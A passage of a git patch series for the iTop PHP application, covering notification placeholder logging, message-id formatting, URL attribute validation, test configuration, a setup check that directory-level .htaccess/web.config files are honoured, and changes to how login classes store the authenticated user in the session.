Some environment parameters are objects, we just need scalars - if (is_object($replace)) - { + if (is_object($replace)) { $iPos = strpos($sSearch, '->object()'); - if ($iPos !== false) - { + if ($iPos !== false) { // Expand the parameters for the object $sName = substr($sSearch, 0, $iPos); // Note: Capturing @@ -7359,63 +7356,67 @@ abstract class MetaModel // 2 - The arrow // 3 - The attribute code $aRegExps = array( - '/(\\$)'.$sName.'-(>|>)([^\\$]+)\\$/', // Support both syntaxes: $this->xxx$ or $this->xxx$ for HTML compatibility - '/(%24)'.$sName.'-(>|>)([^%24]+)%24/', // Support for urlencoded in HTML attributes (%20this->xxx%20) - ); - foreach($aRegExps as $sRegExp) - { - if(preg_match_all($sRegExp, $sInput, $aMatches)) - { - foreach($aMatches[3] as $idx => $sPlaceholderAttCode) - { - try - { - $sReplacement = $replace->GetForTemplate($sPlaceholderAttCode); - if($sReplacement !== null) - { - $aReplacements[] = $sReplacement; - $aSearches[] = $aMatches[1][$idx] . $sName . '-' . $aMatches[2][$idx] . $sPlaceholderAttCode . $aMatches[1][$idx]; - } - } - catch(Exception $e) - { - // No replacement will occur - } - } - } - } - } - else - { + '/(\\$)'.$sName.'-(>|>)([^\\$]+)\\$/', // Support both syntaxes: $this->xxx$ or $this->xxx$ for HTML compatibility + '/(%24)'.$sName.'-(>|>)([^%24]+)%24/', // Support for urlencoded in HTML attributes (%20this->xxx%20) + ); + foreach ($aRegExps as $sRegExp) { + if (preg_match_all($sRegExp, $sInput, $aMatches)) { + foreach ($aMatches[3] as $idx => $sPlaceholderAttCode) { + try { + $sReplacement = $replace->GetForTemplate($sPlaceholderAttCode); + if ($sReplacement !== null) { + $aReplacements[] = $sReplacement; + $aSearches[] = $aMatches[1][$idx].$sName.'-'.$aMatches[2][$idx].$sPlaceholderAttCode.$aMatches[1][$idx]; + } + } + catch (Exception $e) { + $aContext = [ + 'placeholder' => $sPlaceholderAttCode, + 'replace class' => get_class($replace), + ]; + if ($replace instanceof DBObject) { + $aContext['replace id'] = $replace->GetKey(); + } + IssueLog::Debug( + 'Invalid placeholder in notification, no replacement will occur!', + LogChannels::NOTIFICATION, + $aContext + ); + } + } + } + } + } else { continue; // Ignore this non-scalar value } - } - else - { + } else { $aRegExps = array( '/(\$)'.$sSearch.'\$/', // Support for regular placeholders (eg. $APP_URL$) '/(%24)'.$sSearch.'%24/', // Support for urlencoded in HTML attributes (eg. %24APP_URL%24) ); - foreach($aRegExps as $sRegExp) - { - if(preg_match_all($sRegExp, $sInput, $aMatches)) - { - foreach($aMatches[1] as $idx => $sDelimiter) - { - try - { - $aReplacements[] = (string) $replace; - $aSearches[] = $aMatches[1][$idx] . $sSearch . $aMatches[1][$idx]; + foreach ($aRegExps as $sRegExp) { + if (preg_match_all($sRegExp, $sInput, $aMatches)) { + foreach ($aMatches[1] as $idx => $sDelimiter) { + try { + $aReplacements[] = (string)$replace; + $aSearches[] = $aMatches[1][$idx].$sSearch.$aMatches[1][$idx]; } - catch(Exception $e) - { - // No replacement will occur + catch (Exception $e) { + IssueLog::Debug( + 'Invalid placeholder in notification, no replacement will occur !', + LogChannels::NOTIFICATION, + [ + 'placeholder' => $sPlaceholderAttCode, + 'replace' => $replace, + ] + ); } } } } } } + return str_replace($aSearches, $aReplacements, $sInput); } From 6b32be089972c3f63950c775b4b9c8661a19eaa1 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 17 Aug 2022 14:11:32 +0200 Subject: [PATCH 005/230] =?UTF-8?q?N=C2=B05216=20Fix=20invalid=20message-i?= =?UTF-8?q?d=20when=20sending=20notification=20using=20cron=20on=20system?= =?UTF-8?q?=20with=20a=20specific=20locale=20set=20(#297)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The timestamp used was indeed locale dependent. This commit fixes this behavior by removing the locale dependency using a better printf format (see https://www.php.net/manual/fr/function.sprintf.php) --- core/action.class.inc.php | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/core/action.class.inc.php b/core/action.class.inc.php index 16754df99..343cd3660 100644 --- a/core/action.class.inc.php +++ b/core/action.class.inc.php @@ -328,8 +328,12 @@ class ActionEmail extends ActionNotification $sBody = MetaModel::ApplyParams($this->Get('body'), $aContextArgs); $oObj = $aContextArgs['this->object()']; - $sMessageId = sprintf('iTop_%s_%d_%f@%s.openitop.org', get_class($oObj), $oObj->GetKey(), microtime(true /* get as float*/), - MetaModel::GetEnvironmentId()); + $sMessageId = sprintf('iTop_%s_%d_%F@%s.openitop.org', + get_class($oObj), + $oObj->GetKey(), + microtime(true /* get as float*/), + MetaModel::GetEnvironmentId() + ); $sReference = '<'.$sMessageId.'>'; } catch (Exception $e) { From 0efaf47325196ed55e47d60d48db6ae5d100b24c Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 18 Aug 2022 09:24:52 +0200 Subject: [PATCH 006/230] =?UTF-8?q?N=C2=B04910=20-=20Improve=20comment?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/cmdbchangeop.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/cmdbchangeop.class.inc.php b/core/cmdbchangeop.class.inc.php index 537ca8d00..0d43f0856 100644 --- a/core/cmdbchangeop.class.inc.php +++ b/core/cmdbchangeop.class.inc.php @@ -361,7 +361,7 @@ class CMDBChangeOpSetAttributeURL extends CMDBChangeOpSetAttribute ); MetaModel::Init_Params($aParams); MetaModel::Init_InheritAttributes(); - //old value can have an old validation pattern -> force it to anything + // N°4910 Old value might not comply with the current validation pattern -> force it to anything MetaModel::Init_AddAttribute(new AttributeURL("oldvalue", array("allowed_values"=>null, "sql"=>"oldvalue", "target" => '_blank', "default_value"=>null, "is_null_allowed"=>true, "depends_on"=>array(), "validation_pattern" => '.*'))); MetaModel::Init_AddAttribute(new AttributeURL("newvalue", array("allowed_values"=>null, "sql"=>"newvalue", "target" => '_blank', "default_value"=>null, "is_null_allowed"=>true, "depends_on"=>array()))); From a92b1971c066e974cf604a30693226002b35bdfb Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 18 Aug 2022 14:48:55 +0200 Subject: [PATCH 007/230] =?UTF-8?q?N=C2=B05423=20Fix=20"unexpected=20value?= =?UTF-8?q?"=20error=20on=20\CMDBChangeOpSetAttributeURL.newvalue=20for=20?= =?UTF-8?q?AttributeUrl=20with=20custom=20patterns?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/cmdbchangeop.class.inc.php | 31 ++++++++++++++++++++----------- 1 file changed, 20 insertions(+), 11 deletions(-) diff --git a/core/cmdbchangeop.class.inc.php b/core/cmdbchangeop.class.inc.php index 0d43f0856..8bf575c74 100644 --- a/core/cmdbchangeop.class.inc.php +++ b/core/cmdbchangeop.class.inc.php @@ -350,21 +350,30 @@ class CMDBChangeOpSetAttributeURL extends CMDBChangeOpSetAttribute { $aParams = array ( - "category" => "core/cmdb", - "key_type" => "", - "name_attcode" => "change", - "state_attcode" => "", - "reconc_keys" => array(), - "db_table" => "priv_changeop_setatt_url", - "db_key_field" => "id", + "category" => "core/cmdb", + "key_type" => "", + "name_attcode" => "change", + "state_attcode" => "", + "reconc_keys" => array(), + "db_table" => "priv_changeop_setatt_url", + "db_key_field" => "id", "db_finalclass_field" => "", ); MetaModel::Init_Params($aParams); MetaModel::Init_InheritAttributes(); - // N°4910 Old value might not comply with the current validation pattern -> force it to anything - MetaModel::Init_AddAttribute(new AttributeURL("oldvalue", array("allowed_values"=>null, "sql"=>"oldvalue", "target" => '_blank', "default_value"=>null, "is_null_allowed"=>true, "depends_on"=>array(), "validation_pattern" => '.*'))); - MetaModel::Init_AddAttribute(new AttributeURL("newvalue", array("allowed_values"=>null, "sql"=>"newvalue", "target" => '_blank', "default_value"=>null, "is_null_allowed"=>true, "depends_on"=>array()))); - + + // N°4910 (oldvalue), N°5423 (newvalue) + // We cannot have validation here, as AttributeUrl validation is field dependant. + // The validation will be done when editing the iTop object, it isn't the history API responsibility + // + // Pattern is retrieved using this order : + // 1. try to get the pattern from the field definition (datamodel) + // 2. from the iTop config + // 3. config parameter default value + // see \AttributeURL::GetValidationPattern + MetaModel::Init_AddAttribute(new AttributeURL("oldvalue", array("allowed_values" => null, "sql" => "oldvalue", "target" => '_blank', "default_value" => null, "is_null_allowed" => true, "depends_on" => array(), "validation_pattern" => '.*'))); + MetaModel::Init_AddAttribute(new AttributeURL("newvalue", array("allowed_values" => null, "sql" => "newvalue", "target" => '_blank', "default_value" => null, "is_null_allowed" => true, "depends_on" => array(), "validation_pattern" => '.*'))); + // Display lists MetaModel::Init_SetZListItems('details', array('date', 'userinfo', 'attcode', 'oldvalue', 'newvalue')); // Attributes to be displayed for the complete details MetaModel::Init_SetZListItems('list', array('date', 'userinfo', 'attcode', 'oldvalue', 'newvalue')); // Attributes to be displayed for a list From d33bd88832b9fedf51388ddc200bf783b97f5406 Mon Sep 17 00:00:00 2001 From: acognet Date: Fri, 19 Aug 2022 15:06:38 +0200 Subject: [PATCH 008/230] =?UTF-8?q?N=C2=B05428=20-=20Request=20template:?= =?UTF-8?q?=20autocomplete=20field=20can=20not=20be=20a=20master=20field?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../ConsoleSelectObjectFieldRenderer.php | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/sources/Renderer/Console/FieldRenderer/ConsoleSelectObjectFieldRenderer.php b/sources/Renderer/Console/FieldRenderer/ConsoleSelectObjectFieldRenderer.php index 0edc88153..e7510bb0b 100644 --- a/sources/Renderer/Console/FieldRenderer/ConsoleSelectObjectFieldRenderer.php +++ b/sources/Renderer/Console/FieldRenderer/ConsoleSelectObjectFieldRenderer.php @@ -123,6 +123,20 @@ class ConsoleSelectObjectFieldRenderer extends FieldRenderer { $oOutput->AddCssFile($sFile); } + $oOutput->AddJs( + <<oField->GetGlobalId()}").off("change").on("change", function(){ + var me = this; + + $(this).closest(".field_set").trigger("field_change", { + id: $(me).attr("id"), + name: $(me).closest(".form_field").attr("data-field-id"), + value: $(me).val() + }) + .closest('.form_handler').trigger('value_change'); + }); +EOF + ); } elseif($this->oField->GetControlType() == SelectObjectField::CONTROL_RADIO_VERTICAL) { @@ -226,9 +240,8 @@ EOF JS ); } - - } + $oOutput->AddHtml((BlockRenderer::RenderBlockTemplates($oBlock))); // JS Form field widget construct $aValidators = array(); From 7a6a3d1ac0693f072681ae9c30aff18277e3d3ad Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 24 Aug 2022 14:41:32 +0200 Subject: [PATCH 009/230] Integration tests : move and comment itop-community group --- test/integration/iTopModulesPhpVersionChecklistTest.php | 7 ++++--- test/integration/iTopModulesXmlVersionChecklistTest.php | 7 ++++--- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/test/integration/iTopModulesPhpVersionChecklistTest.php b/test/integration/iTopModulesPhpVersionChecklistTest.php index ffc711d33..9c66bda8e 100644 --- a/test/integration/iTopModulesPhpVersionChecklistTest.php +++ b/test/integration/iTopModulesPhpVersionChecklistTest.php @@ -22,8 +22,6 @@ use utils; /** - * @group itop-community - * * @covers iTopDesignFormat * * @package Combodo\iTop\Test\UnitTest\Setup @@ -31,9 +29,12 @@ use utils; class iTopModulesPhpVersionIntegrationTest extends ItopTestCase { /** - * Verify if the datamodel.*.xml files refer to the current itop version + * Verify if `module.*.php` files contained in `datamodels/1.x` or `datamodels/2.x` refers to the current itop version * This is an integration test * + * As ess and pro targets are copying modules into datamodels/2.x this test can only be run on a community target ! + * + * @group itop-community * @group skipPostBuild * * @dataProvider iTopModulesPhpVersionProvider diff --git a/test/integration/iTopModulesXmlVersionChecklistTest.php b/test/integration/iTopModulesXmlVersionChecklistTest.php index b6dfcb289..3cdb3cc25 100644 --- a/test/integration/iTopModulesXmlVersionChecklistTest.php +++ b/test/integration/iTopModulesXmlVersionChecklistTest.php @@ -21,8 +21,6 @@ use iTopDesignFormat; /** - * @group itop-community - * * @covers iTopDesignFormat * * @package Combodo\iTop\Test\UnitTest\Setup @@ -38,9 +36,12 @@ class iTopModulesXmlVersionIntegrationTest extends ItopTestCase /** - * Verify if the datamodel.*.xml files refer to the latest version of the design + * Verify if the `datamodels/2.x/datamodel.*.xml` files refer to the latest version of the design * This is an integration test * + * As ess and pro targets are copying modules into datamodels/2.x this test can only be run on a community target ! + * + * @group itop-community * @group skipPostBuild * * @dataProvider DatamodelItopXmlVersionProvider From 06c3e295d6bbde587ec261a764d72b4c4ab4f824 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 24 Aug 2022 14:54:02 +0200 Subject: [PATCH 010/230] Fix iTopXmlVersionIntegrationTest * remove annotations for data tests : we are only comparing constants * remove itop-community group : this test can be run whatever target was used to build * remove wrong `@covers` annotation --- test/integration/iTopXmlVersionChecklistTest.php | 9 --------- 1 file changed, 9 deletions(-) diff --git a/test/integration/iTopXmlVersionChecklistTest.php b/test/integration/iTopXmlVersionChecklistTest.php index d06c1fbf3..6a624a2c3 100644 --- a/test/integration/iTopXmlVersionChecklistTest.php +++ b/test/integration/iTopXmlVersionChecklistTest.php @@ -16,18 +16,9 @@ namespace Combodo\iTop\Test\UnitTest\Integration; use Combodo\iTop\Test\UnitTest\ItopTestCase; -use iTopDesignFormat; /** - * - * @runTestsInSeparateProcesses - * @preserveGlobalState disabled - * @backupGlobals disabled - * @group itop-community - * - * @covers iTopDesignFormat - * * @package Combodo\iTop\Test\UnitTest\Setup */ class iTopXmlVersionIntegrationTest extends ItopTestCase From d78a25ee4edd9e1b2eb7ecb5b7a643180b515775 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Wed, 24 Aug 2022 16:33:54 +0200 Subject: [PATCH 011/230] =?UTF-8?q?N=C2=B05462=20Add=20a=20setup=20check?= =?UTF-8?q?=20to=20verify=20if=20directory-level=20configuration=20files?= =?UTF-8?q?=20(.htaccess=20and=20web.config)=20are=20used=20by=20the=20ser?= =?UTF-8?q?ver?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/permissions-test-folder/.htaccess | 13 +++++++++++++ .../permissions-test-file | 0 setup/permissions-test-folder/web.config | 13 +++++++++++++ setup/setup.js | 13 +++++++++++++ setup/wizardsteps.class.inc.php | 1 + 5 files changed, 40 insertions(+) create mode 100644 setup/permissions-test-folder/.htaccess create mode 100644 setup/permissions-test-folder/permissions-test-subfolder/permissions-test-file create mode 100644 setup/permissions-test-folder/web.config diff --git a/setup/permissions-test-folder/.htaccess b/setup/permissions-test-folder/.htaccess new file mode 100644 index 000000000..782472c78 --- /dev/null +++ b/setup/permissions-test-folder/.htaccess @@ -0,0 +1,13 @@ +# Apache 2.4 + +Require all denied + + +# Apache 2.2 + +deny from all +Satisfy All + + +# Apache 2.2 and 2.4 +IndexIgnore * diff --git a/setup/permissions-test-folder/permissions-test-subfolder/permissions-test-file b/setup/permissions-test-folder/permissions-test-subfolder/permissions-test-file new file mode 100644 index 000000000..e69de29bb diff --git a/setup/permissions-test-folder/web.config b/setup/permissions-test-folder/web.config new file mode 100644 index 000000000..58c9c3ac3 --- /dev/null +++ b/setup/permissions-test-folder/web.config @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/setup/setup.js b/setup/setup.js index b83719322..62ae1b733 100644 --- a/setup/setup.js +++ b/setup/setup.js @@ -51,4 +51,17 @@ function ExecuteStep(sStep) $('#wiz_form').data('installation_status', 'error'); WizardUpdateButtons(); } ); +} + +function CheckDirectoryConfFilesPermissions(sWikiVersion){ + $.ajax('permissions-test-folder/permissions-test-subfolder/permissions-test-file', + { + statusCode: { + 200: function() { + $('#details').prepend('
Security issue: iTop is bundled with directory-level configuration files. You must check that those files will be read by your web server (eg.' + + 'AllowOverride directive should be set to All for Apache HTTP Server) see documentation.
'); + $(' and 1 Security issue').insertBefore('h2.message button:first'); + } + } + }); } \ No newline at end of file diff --git a/setup/wizardsteps.class.inc.php b/setup/wizardsteps.class.inc.php index 805a7de9e..81ff1c9c9 100644 --- a/setup/wizardsteps.class.inc.php +++ b/setup/wizardsteps.class.inc.php @@ -161,6 +161,7 @@ HTML $oPage->p('Sorry, the installation cannot continue. Please fix the errors and reload this page to launch the installation again.'); $oPage->p(''); } + $oPage->add_ready_script('CheckDirectoryConfFilesPermissions("'.utils::GetItopVersionWikiSyntax().'")'); } public function CanMoveForward() From 02a0969b530e4e6e5eda3f854ebb3d41a9f2e42b Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 29 Aug 2022 12:31:45 +0200 Subject: [PATCH 012/230] =?UTF-8?q?N=C2=B05414=20Fix=20undefined=20constan?= =?UTF-8?q?t=20error=20in=20notification=20with=20wrong=20placeholder=20Fi?= =?UTF-8?q?x=20regression=20introduced=20in=2033c2168=20(#282)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/metamodel.class.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/metamodel.class.php b/core/metamodel.class.php index 744bfb26c..d523fcc87 100644 --- a/core/metamodel.class.php +++ b/core/metamodel.class.php @@ -7379,7 +7379,7 @@ abstract class MetaModel } IssueLog::Debug( 'Invalid placeholder in notification, no replacement will occur!', - LogChannels::NOTIFICATION, + LogChannels::NOTIFICATIONS, $aContext ); } @@ -7404,7 +7404,7 @@ abstract class MetaModel catch (Exception $e) { IssueLog::Debug( 'Invalid placeholder in notification, no replacement will occur !', - LogChannels::NOTIFICATION, + LogChannels::NOTIFICATIONS, [ 'placeholder' => $sPlaceholderAttCode, 'replace' => $replace, From 6c4cd6c99c5d8b375835a7a23f30800450a8cdd2 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Fri, 2 Sep 2022 13:57:36 +0200 Subject: [PATCH 013/230] constants missing if no ticket in DM (vanilla) --- datamodels/2.x/itop-structure/datamodel.itop-structure.xml | 1 + 1 file changed, 1 insertion(+) diff --git a/datamodels/2.x/itop-structure/datamodel.itop-structure.xml b/datamodels/2.x/itop-structure/datamodel.itop-structure.xml index 2847cb90b..9da6b93a7 100644 --- a/datamodels/2.x/itop-structure/datamodel.itop-structure.xml +++ b/datamodels/2.x/itop-structure/datamodel.itop-structure.xml @@ -1888,4 +1888,5 @@ + \ No newline at end of file From cb2a597267c7a1220bb2b0b150eeb39fa522b939 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 7 Sep 2022 10:33:31 +0200 Subject: [PATCH 014/230] Fix notice on empty case log --- core/ormcaselog.class.inc.php | 41 +++++++++++++++-------------------- 1 file changed, 18 insertions(+), 23 deletions(-) diff --git a/core/ormcaselog.class.inc.php b/core/ormcaselog.class.inc.php index 950ff0627..34a0b8ac0 100644 --- a/core/ormcaselog.class.inc.php +++ b/core/ormcaselog.class.inc.php @@ -702,30 +702,25 @@ class ormCaseLog { { $sRes = ''; $aLastEntry = end($this->m_aIndex); - $sRaw = substr($this->m_sLog, $aLastEntry['separator_length'], $aLastEntry['text_length']); - switch($sFormat) - { - case static::ENUM_FORMAT_TEXT: - if ($aLastEntry['format'] == static::ENUM_FORMAT_TEXT) - { - $sRes = $sRaw; + if ($aLastEntry !== false) { + $sRaw = substr($this->m_sLog, $aLastEntry['separator_length'], $aLastEntry['text_length']); + switch ($sFormat) { + case static::ENUM_FORMAT_TEXT: + if ($aLastEntry['format'] == static::ENUM_FORMAT_TEXT) { + $sRes = $sRaw; + } else { + $sRes = utils::HtmlToText($sRaw); + } + break; + + case static::ENUM_FORMAT_HTML: + if ($aLastEntry['format'] == static::ENUM_FORMAT_TEXT) { + $sRes = utils::TextToHtml($sRaw); + } else { + $sRes = InlineImage::FixUrls($sRaw); + } + break; } - else - { - $sRes = utils::HtmlToText($sRaw); - } - break; - - case static::ENUM_FORMAT_HTML: - if ($aLastEntry['format'] == static::ENUM_FORMAT_TEXT) - { - $sRes = utils::TextToHtml($sRaw); - } - else - { - $sRes = InlineImage::FixUrls($sRaw); - } - break; } return $sRes; } From 3bc12b0434b727855408f8cdad36a1eb7f0eaea7 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 8 Sep 2022 14:58:35 +0200 Subject: [PATCH 015/230] =?UTF-8?q?N=C2=B05513=20Improve=20PHPUnit=20outpu?= =?UTF-8?q?t=20to=20stdout=20Will=20allow=20to=20see=20progress=20when=20l?= =?UTF-8?q?ooking=20at=20the=20Jenkins=20output?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/composer.json | 8 ++------ test/composer.lock | 42 ++++++++++++++++++++++++++++++++++++++++-- test/phpunit.xml.dist | 2 ++ 3 files changed, 44 insertions(+), 8 deletions(-) diff --git a/test/composer.json b/test/composer.json index 5e570e48d..61b516347 100644 --- a/test/composer.json +++ b/test/composer.json @@ -1,10 +1,6 @@ { "require-dev": { - "phpunit/phpunit": "^8.5.23" - }, - "autoload": { - "psr-4": { - "": "src/" - } + "phpunit/phpunit": "^8.5.23", + "sempro/phpunit-pretty-print": "^1.4" } } diff --git a/test/composer.lock b/test/composer.lock index 351e80239..1dadb48f1 100644 --- a/test/composer.lock +++ b/test/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "e564642f87b1049582c4001ac479b368", + "content-hash": "e34c30ef7d10c0cee9ea3624f8378087", "packages": [], "packages-dev": [ { @@ -1597,6 +1597,44 @@ }, "time": "2016-10-03T07:35:21+00:00" }, + { + "name": "sempro/phpunit-pretty-print", + "version": "1.4.0", + "source": { + "type": "git", + "url": "https://github.com/s360digital/phpunit-pretty-print.git", + "reference": "fa623aa8a17aece4a2b69e54b07a5e37572d1f1d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/s360digital/phpunit-pretty-print/zipball/fa623aa8a17aece4a2b69e54b07a5e37572d1f1d", + "reference": "fa623aa8a17aece4a2b69e54b07a5e37572d1f1d", + "shasum": "" + }, + "require": { + "php": ">=7.1.0", + "phpunit/phpunit": "^7 || ^8 || ^9" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Sempro\\PHPUnitPrettyPrinter\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Prettify PHPUnit output", + "support": { + "issues": "https://github.com/s360digital/phpunit-pretty-print/issues", + "source": "https://github.com/s360digital/phpunit-pretty-print/tree/1.4.0" + }, + "time": "2021-01-04T13:25:10+00:00" + }, { "name": "symfony/polyfill-ctype", "version": "v1.25.0", @@ -1795,5 +1833,5 @@ "prefer-lowest": false, "platform": [], "platform-dev": [], - "plugin-api-version": "2.1.0" + "plugin-api-version": "2.3.0" } diff --git a/test/phpunit.xml.dist b/test/phpunit.xml.dist index 1dcf5848d..a836dbd9a 100644 --- a/test/phpunit.xml.dist +++ b/test/phpunit.xml.dist @@ -16,6 +16,7 @@ stopOnRisky="false" stopOnSkipped="false" verbose="true" + printerClass="Sempro\PHPUnitPrettyPrinter\PrettyPrinter" > @@ -23,6 +24,7 @@ + From 74003f12c14215316c5ae2628826db12fc31982e Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 8 Sep 2022 18:20:52 +0200 Subject: [PATCH 016/230] =?UTF-8?q?N=C2=B05513=20Remove=20test=20name=20de?= =?UTF-8?q?bug=20info?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/ItopTestCase.php | 3 --- 1 file changed, 3 deletions(-) diff --git a/test/ItopTestCase.php b/test/ItopTestCase.php index 0e983fcec..455a886fb 100644 --- a/test/ItopTestCase.php +++ b/test/ItopTestCase.php @@ -45,9 +45,6 @@ class ItopTestCase extends TestCase @include_once '../../../../../../approot.inc.php'; @include_once '../../../../../../../approot.inc.php'; @include_once '../../../../../../../../approot.inc.php'; - - $this->debug("\n----------\n---------- ".$this->getName()."\n----------\n"); - } protected function debug($sMsg) From 4c1df9927d1dc6b0181ee20721f93346def026fd Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Mon, 12 Sep 2022 09:45:30 +0200 Subject: [PATCH 017/230] =?UTF-8?q?N=C2=B05394=20-=20use=20session=20for?= =?UTF-8?q?=20the=20FSM?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/loginbasic.class.inc.php | 4 +++- application/loginexternal.class.inc.php | 4 +++- application/loginform.class.inc.php | 12 +++--------- application/loginurl.class.inc.php | 4 +++- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/application/loginbasic.class.inc.php b/application/loginbasic.class.inc.php index 660b45cba..24b1afb2d 100644 --- a/application/loginbasic.class.inc.php +++ b/application/loginbasic.class.inc.php @@ -59,6 +59,8 @@ class LoginBasic extends AbstractLoginFSMExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } + // Save the checked user + $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -67,7 +69,7 @@ class LoginBasic extends AbstractLoginFSMExtension { if ($_SESSION['login_mode'] == 'basic') { - list($sAuthUser) = $this->GetAuthUserAndPassword(); + $sAuthUser = $_SESSION['auth_user']; LoginWebPage::OnLoginSuccess($sAuthUser, 'internal', $_SESSION['login_mode']); } return LoginWebPage::LOGIN_FSM_CONTINUE; diff --git a/application/loginexternal.class.inc.php b/application/loginexternal.class.inc.php index d4fcb7182..c2c13de86 100644 --- a/application/loginexternal.class.inc.php +++ b/application/loginexternal.class.inc.php @@ -43,6 +43,8 @@ class LoginExternal extends AbstractLoginFSMExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } + // Save the checked user + $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -51,7 +53,7 @@ class LoginExternal extends AbstractLoginFSMExtension { if ($_SESSION['login_mode'] == 'external') { - $sAuthUser = $this->GetAuthUser(); + $sAuthUser = $_SESSION['auth_user']; LoginWebPage::OnLoginSuccess($sAuthUser, 'external', $_SESSION['login_mode']); } return LoginWebPage::LOGIN_FSM_CONTINUE; diff --git a/application/loginform.class.inc.php b/application/loginform.class.inc.php index a4fb99db5..9a044fade 100644 --- a/application/loginform.class.inc.php +++ b/application/loginform.class.inc.php @@ -71,6 +71,8 @@ class LoginForm extends AbstractLoginFSMExtension implements iLoginUIExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } + // Save the checked user + $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -82,15 +84,7 @@ class LoginForm extends AbstractLoginFSMExtension implements iLoginUIExtension { if ($_SESSION['login_mode'] == 'form') { - if (isset($_SESSION['auth_user'])) - { - // If FSM reenter this state (example 2FA) then the auth_user is not resubmitted - $sAuthUser = $_SESSION['auth_user']; - } - else - { - $sAuthUser = utils::ReadPostedParam('auth_user', '', 'raw_data'); - } + $sAuthUser = $_SESSION['auth_user']; // Store 'auth_user' in session for further use LoginWebPage::OnLoginSuccess($sAuthUser, 'internal', $_SESSION['login_mode']); } diff --git a/application/loginurl.class.inc.php b/application/loginurl.class.inc.php index 8a215e8f5..166941d31 100644 --- a/application/loginurl.class.inc.php +++ b/application/loginurl.class.inc.php @@ -58,6 +58,8 @@ class LoginURL extends AbstractLoginFSMExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } + // Save the checked user + $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -66,7 +68,7 @@ class LoginURL extends AbstractLoginFSMExtension { if ($_SESSION['login_mode'] == 'url') { - $sAuthUser = utils::ReadParam('auth_user', '', false, 'raw_data'); + $sAuthUser = $_SESSION['auth_user']; LoginWebPage::OnLoginSuccess($sAuthUser, 'internal', $_SESSION['login_mode']); } return LoginWebPage::LOGIN_FSM_CONTINUE; From e9a3974b985da89d4307d943017308bbf56484f8 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Mon, 12 Sep 2022 10:54:55 +0200 Subject: [PATCH 018/230] =?UTF-8?q?N=C2=B05394=20-=20revert=202.7=20merge?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/loginbasic.class.inc.php | 4 +--- application/loginexternal.class.inc.php | 4 +--- application/loginform.class.inc.php | 12 +++++++++--- application/loginurl.class.inc.php | 4 +--- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/application/loginbasic.class.inc.php b/application/loginbasic.class.inc.php index bdfae92cf..06210cfa4 100644 --- a/application/loginbasic.class.inc.php +++ b/application/loginbasic.class.inc.php @@ -62,8 +62,6 @@ class LoginBasic extends AbstractLoginFSMExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } - // Save the checked user - $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -72,7 +70,7 @@ class LoginBasic extends AbstractLoginFSMExtension { if (Session::Get('login_mode') == 'basic') { - $sAuthUser = $_SESSION['auth_user']; + list($sAuthUser) = 